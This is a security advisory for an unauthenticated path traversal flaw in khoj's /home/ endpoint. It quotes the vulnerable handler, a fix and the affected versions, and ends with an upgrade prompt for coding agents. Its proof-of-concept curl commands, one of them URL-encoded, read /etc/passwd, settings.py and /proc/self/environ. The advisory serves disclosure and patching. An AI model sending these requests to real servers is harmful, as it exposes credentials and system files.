# GHSA-62mm-xwmv-crhg: khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem

> Unauthenticated attackers can read arbitrary files from the server filesystem via path traversal in the /home/ endpoint.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 25 Sep 2026

## What is GHSA-62mm-xwmv-crhg?

GHSA-62mm-xwmv-crhg is a path traversal vulnerability in khoj, published on 25 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

### Summary
The `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem.

### Details
**Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49:

```python
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
    """Serve static files from the home landing page directory"""
    return FileResponse(constants.home_directory / file_path)
```

Where `home_directory` is defined in `src/khoj/utils/constants.py` line 6:
```python
home_directory = web_directory / "home/"
```

**What is missing:**
- No `..` traversal filtering
- No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`)
- No authentication decorator (`@requires(["authenticated"])` is absent)
- Starlette's `FileResponse` does NOT perform path traversal protection

**Path resolution:**
```
Request: GET /home/../../../../../../../etc/passwd
file_path = "../../../../../../../etc/passwd"
home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd
OS resolves to: /etc/passwd
```

### PoC
```bash
# Read /etc/passwd (no authentication required)
curl http://localhost:42110/home/../../../../../../../etc/passwd

# Read application settings (may contain SECRET_KEY, DB credentials)
curl http://localhost:42110/home/../../../../settings.py

# Read environment file
curl http://localhost:42110/home/../../../../../../../proc/self/environ
```

URL-encoded variant (may bypass some reverse proxy normalization):
```bash
curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
```

### Impact
Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:

- **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys
- **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ`
- **Exfiltrate sensitive data** — Any file readable by the server process
- **Facilitate further attacks** — Leaked credentials enable deeper compromise

**No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.

### Recommended fix
Use FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation:

```python
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
    resolved = (constants.home_directory / file_path).resolve()
    if not resolved.is_relative_to(constants.home_directory.resolve()):
        raise HTTPException(status_code=404)
    return FileResponse(resolved)
```

## Which versions are affected by GHSA-62mm-xwmv-crhg?

2 open source packages ship an affected version, including khoj.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `khoj` | PyPI | From 2.0.0-beta.23 | 2.0.0-beta.25 |
| `khoj` | PyPI | From 2.0.0-beta.23 | 2.0.0-beta.25 |

## How do I fix GHSA-62mm-xwmv-crhg?

Upgrade khoj to 2.0.0-beta.25 or later.

## Is GHSA-62mm-xwmv-crhg being exploited?

There is no known exploitation of GHSA-62mm-xwmv-crhg in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-62mm-xwmv-crhg and fix it if it is affected.

What it is: GHSA-62mm-xwmv-crhg is a path traversal vulnerability in khoj, published on 25 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-62mm-xwmv-crhg in the wild and no public exploit code.

Affected packages and fixed versions:
- khoj (PyPI): affected from 2.0.0-beta.23; fixed in 2.0.0-beta.25
- khoj (PyPI): affected from 2.0.0-beta.23; fixed in 2.0.0-beta.25

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-62mm-xwmv-crhg/ (Markdown: https://insights.sbomify.com/GHSA-62mm-xwmv-crhg/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-62mm-xwmv-crhg

---
From sbomify Insights: https://insights.sbomify.com/GHSA-62mm-xwmv-crhg/
Summaries are generated and may contain mistakes; the official description above is the record.